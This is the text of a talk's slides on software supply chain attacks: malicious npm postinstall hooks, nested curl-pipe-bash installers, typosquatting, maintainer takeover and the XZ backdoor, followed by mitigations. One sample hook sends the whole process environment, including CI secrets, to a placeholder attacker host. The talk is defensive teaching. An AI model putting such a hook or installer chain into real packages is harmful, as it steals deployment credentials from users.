Hi I'm Ryan

Hi I'm Ryan

Hi

My CLI Tool

My CLI Tool

What Does it do?

ย 

My CLI Tool

What Does it do?

My CLI Tool

curl -o- http://example.com/install.sh |sudo bash

Very exciting!

To install just run ๐Ÿ‘€

# Contents of http://example.com/cli/install.sh
#!/bin/bash
curl -o- http://example.com/cli/important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/important_dependency_27/install.sh | bash

# Contents of http://example.com/cli/important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_27/install.sh | bash

# Contents of http://example.com/cli/very_important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_27/install.sh | bash

Lets take a step back

npm install
yarn install
pip install
composer install 
# ect ...

Who here has run something

like this recently?

npm install
yarn install
pip install
composer install 
# ect ...
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
# ect ...

Why this might be a problem?

Story Time

๐Ÿ“ˆ

// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(dogsLiked + 1)
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>๐Ÿ•</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;
// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(dogsLiked + 1)
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>๐Ÿ•</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;

00101110 = 46 Likes

00101110 = 46 Likes

00101110 = 46 Likes

00101111 = 47 Likes

// Do not Remove
module.exports = leftpad;

function leftpad (str, len, ch) {
  str = String(str);
  var i = -1;
  if (!ch && ch !== 0) ch = ' ';
  len = len - str.length;
  while (++i < len) {
    str = ch + str;
  }
  return str;
}
npm install @a-normal-cat/add-some-numbers
# Other Terminal stuff
> @a-normal-cat/add-some-numbers@1.0.7 postinstall /home/a-normal-dog/projects/dog-blog/node_modules/@a-normal-cat/add-some-numbers
> node ./postinstall.js

Thank you for installing add-some-numbers โค๏ธ 
Here is a ๐ŸŽ‚ + ๐Ÿฑ to ligthen your day โœจ
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–ˆโ–„โ–„โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–ˆโ–‘โ–„โ–„โ–„โ–‘โ–‘โ–‘
โ–‘โ–„โ–„โ–„โ–„โ–„โ–‘โ–‘โ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–‘โ–‘โ–€โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–€โ–€โ–‘โ–ˆโ–ˆโ–‘โ–‘
โ–‘โ–ˆโ–ˆโ–„โ–€โ–ˆโ–ˆโ–„โ–ˆโ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–€โ–€โ–€โ–€โ–€โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘
โ–‘โ–‘โ–€โ–ˆโ–ˆโ–„โ–€โ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–‘โ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–ˆโ–‘
โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–€โ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘โ–‘โ–„โ–ˆโ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–„โ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–„โ–‘โ–‘โ–„โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–ˆโ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–„โ–‘โ–‘โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–‘โ–‘โ–„โ–€โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–€โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–€โ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
// Contents of: src/gatsby-theme-gallery/components/Footer.js

import React, { useState } from "react";
import add from "@a-normal-cat/add-some-numbers";
// {... Other imports}

const Footer = () => {
  const siteMetadata = useSiteMetadata();
  const [dogsLiked, setDogsLiked] = useState(0)

  return (
    <footer>
      <DogContainer>
        <Button onClick={() => {
          setDogsLiked(add(dogsLiked, 1))
        }}>
          Click to like dogs
        </Button>
        <span><span role='img' aria-label='dog'>๐Ÿ•</span>s liked: {dogsLiked}</span>
      </DogContainer>
      
      <p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
    </footer>
  );
};


export default Footer;

Who let the ย  ย  ย  out of the bag?

How did this happen? ๐Ÿฑโ€๐Ÿ’ป

{
  "devDependencies": {
    "microbundle": "^0.15.1"
  },
  "name": "@a-normal-cat/add-some-numbers",
  "description": "Non suspiciously adds some numbers together  ๐Ÿš€",
  "version": "1.0.7",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
  //...
  "unpkg": "./dist/add.umd.js",
  "scripts": {
    "build": "microbundle",
    "dev": "microbundle watch",
    "postinstall": "node ./postinstall.js",
    "changeset": "changeset",
    "release": "npm run build && npm publish --access public"
  },
  "private": false
}
{
  "devDependencies": {
    "microbundle": "^0.15.1"
  },
  "name": "@a-normal-cat/add-some-numbers",
  "description": "Non suspiciously adds some numbers together  ๐Ÿš€",
  "version": "1.0.7",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
  //...
  "unpkg": "./dist/add.umd.js",
  "scripts": {
    "build": "microbundle",
    "dev": "microbundle watch",
    "postinstall": "node ./postinstall.js",
    "changeset": "changeset",
    "release": "npm run build && npm publish --access public"
  },
  "private": false
}
if(process.env.CI){
  fetch("http://mybadwebsite.com/get_token", {
    method: "POST",
    body: JSON.stringify({
      // Deployment secrets and other things
      // you probably don't want other people to have
      env: process.env
    })
  })
}

{

if(process.env.CI){
  fetch("http://mybadwebsite.com/get_token", {
    method: "POST",
    body: JSON.stringify({
      // Deployment secrets and other things
      // you probably don't want other people to have
      env: process.env
    })
  })
}

{

https://github.com/a-normal-cat

Where is the payload?

Who did it? ย  ย 

Is this our culprit?

Maintainer Going Rogue

Maintainer Going Rogue

Maintainer Going Rogue

What if the cat was framed? ๐Ÿ˜ฟ

npm i @a-normal-cat/add-some-numbers
// What the dog thought they were running
npm i @a-normal-cat/add-some-numbers
// What the dog actually ran
npm i @a-norml-cat/add-some-numbers

Typosquatting

Typosquatting

gogle.com -> google.com
bingg.com -> bing.com
facebok.com -> facebook.com
micrsoft.com -> microsoft.com
amzon.com -> amazon.com

Typosquatting

Aiming for the big ๐ŸŸ

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

XZ Backdoor

Becoming A Maintainer

XZ Backdoor

Hacking a maintainer

Hacking a maintainer

Dog Blog

Add Some Numbers

Unit testing Library

Deep Equality library

Hacking a maintainer

Dog Blog

Add Some Numbers

Unit testing Library

Deep Equality library

Depends on

Hacking a maintainer

Dog Blog

Add Some Numbers

Unit testing Library

Deep Equality library

Depends on

Hacking a maintainer

Dog Blog

Add Some Numbers

Error Correction
Library

Deep Equality library

Depends on

Hacking a maintainer

Dog Blog

Add Some Numbers

Error Correction
Library

Deep Equality library

Depends on

Error Correction
Library

Hacking a maintainer

Dog Blog

Add Some Numbers

Error Correction
Library

Deep Equality library

Depends on

Another
Blog

Unit Testing Lib

Hacking a maintainer

Dog Blog

Add Some Numbers

Error Correction
Library

Deep Equality library

Depends on

Another
Blog

Unit Testing Lib

Hacking a maintainer

Hacking a maintainer

Hacking a maintainer

I guess the Bad Actors win :(

How could some of this have been avoided?

Ways of mitigating
supply chain vulnerabilities

Disable code execution during installation

// npm
npm config set ignore-scripts true
npm install --ignore-stripts

// composer
composer install --no-scripts --no-plugins

// ... Other package managers will have
// similar ways to disable scripts

Separate the installation / deployment steps in CICD pipelines

- name: Install and Build ๐Ÿ”ง
  run: |
    npm ci
    npm run build
    git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
    npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
  env:
  	GH_TOKEN: ${{ secrets.GH_TOKEN }}

### TO ###

- name: Install and Build ๐Ÿ”ง
  run: |
    npm ci
    npm run build
- name: Deploy
  run: |
    git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
    npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
  env:
  	GH_TOKEN: ${{ secrets.GH_TOKEN }}

Limit token access

Pin Dependency Versions

// Node
package-json.lock
yarn.lock

// Python
requirements.txt

// PHP
composer.lock

// ect ...

Use Tooling for Scanning Depedenciesย 

Closing notes

  • โค๏ธย Free and Open Source Software
  • The examples given are the exception and not the rule.
  • This should not paint a pessimistic view. There are 2,155,123 packages on NPM (as of writing) the vast majority of them are freely provided by the FOSS community
  • NPM and many other package managers are making active efforts to audit and take down dangerous packages and versions
  • ๐Ÿถ๐Ÿค๐Ÿฑ

- Bluetel for having ๐Ÿ™Œ

- Everyone for coming ๐ŸŽ‰

ย 


You can find me on:

- ryan.gd

ย 

Slides and additional resources can be found under:
ย - github.com/ryanolee/talks

Thanks & Credits

Fusion -> Supply Chain Attacks

By Rizza

Fusion -> Supply Chain Attacks

  • 109